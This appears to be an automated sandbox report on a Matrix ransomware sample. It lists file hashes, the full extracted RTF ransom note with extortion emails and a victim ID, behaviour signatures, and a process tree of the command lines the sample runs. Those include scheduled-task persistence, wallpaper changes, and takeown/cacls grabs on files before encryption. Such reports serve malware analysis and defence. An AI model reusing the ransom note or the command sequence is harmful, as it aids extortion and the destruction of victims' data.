Analysis
-
max time kernel
184s -
max time network
132s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
-
submitted
01-01-2024 15:12
General
-
Target
335160bee7e253c4ffa69e5164c4a36fe5fb4be2c246958dfcc509d8202db5cf.exe
-
Size
3.7MB
-
MD5
9c7e90d7637277bb4f4985405eb0ace9
-
SHA1
5b0899d790eb4a37260e5d9b8a2ad3f2ada55b1d
-
SHA256
335160bee7e253c4ffa69e5164c4a36fe5fb4be2c246958dfcc509d8202db5cf
-
SHA512
7b57021edfa1108558c2d02df0600de55fd9338dfebc044c03dc677072975acc216a0374cff270d9d75f20e5b92b252f75b2ad3b94f603e7a09f69c14ca888d9
-
SSDEEP
98304:Pvqlou/EtfzJS+1S6+T9aLcNvvj5Pudln7QktFJLRyC2hVW13:w/Q7I+T8aLcNvvjQn7QkjFkDVW
Score
10/10
Malware Config
Extracted
Path
C:\Program Files\Google\Chrome\Application\#NOBAD_README#.rtf
Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}}
{\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;}
{\*\generator Riched20 10.0.15063}\viewkind4\uc1
\pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par
\pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par
\cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par
\b0 by our automatic software. It became possible because of bad server security. \par
\cf1\b ATENTION!!!\par
\cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par
state and decrypt all your files quickly and safely!\par
\b\par
\cf2 INFORMATION!!!\par
\cf0\b0 Files are not broken!!!\par
Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par
There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par
\i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par
* Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par
\i0\f0\lang1033\par
\cf3\b HOW TO RECOVER FILES???\par
\cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par
\pard\sl240\slmult1\b\fs28 InkognitoMan@tutamail.com\par
InkognitoMan@firemail.cc\par
empty\cf1\fs24\par
You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par
\pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par
In subject line write your personal ID:\par
\b\fs28 4AB2BE8D9F607C9C\par
\b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par
\i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par
\i0\par
\cf1\b OUR ADVICE!!!\par
\cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par
\ul\b\par
We will definitely reach an agreement ;) !!!\b0\par
\ulnone\par
\fs20 \par
\par
\par
\par
\par
\par
\par
\pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par
\b0\fs20\par
\pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par
1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par
2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par
3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par
4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par
5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par
\b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par
T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b empty\par
\pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 4AB2BE8D9F607C9C\par
M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par
\pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par
\pard\sa200\sl240\slmult1\fs28 wvpUDSrb\cf0\f1\fs32\lang1049\par
\par
}
Emails
InkognitoMan@tutamail.com\par
InkognitoMan@firemail.cc\par
URLs
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Executes dropped EXE 64 IoCs
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops desktop.ini file(s) 41 IoCs
-
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\335160bee7e253c4ffa69e5164c4a36fe5fb4be2c246958dfcc509d8202db5cf.exe"C:\Users\Admin\AppData\Local\Temp\335160bee7e253c4ffa69e5164c4a36fe5fb4be2c246958dfcc509d8202db5cf.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\335160bee7e253c4ffa69e5164c4a36fe5fb4be2c246958dfcc509d8202db5cf.exe" "C:\Users\Admin\AppData\Local\Temp\NWfz0cez.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\NWfz0cez.exe"C:\Users\Admin\AppData\Local\Temp\NWfz0cez.exe" -n2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "AUMProduct.cer" -nobanner3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Mia9doP5.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\Mia9doP5.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Zhwpojmj.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Zhwpojmj.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\fLANsULi.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\fLANsULi.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Shorthand.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Shorthand.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Shorthand.jtp" -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Shorthand.jtp"3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "AdobeID.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "AdobeID.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ64.exeUCHMnGpZ.exe -accepteula "AdobeID.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "DefaultID.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Dynamic.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\JNTFiltr.dll.mui"4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\JNTFiltr.dll.mui" /E /G Admin:F /C4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner5⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "classes.jsa" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "FreeCellMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "FreeCellMCE.png" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "HeartsMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "HeartsMCE.png" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\jnwmon.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
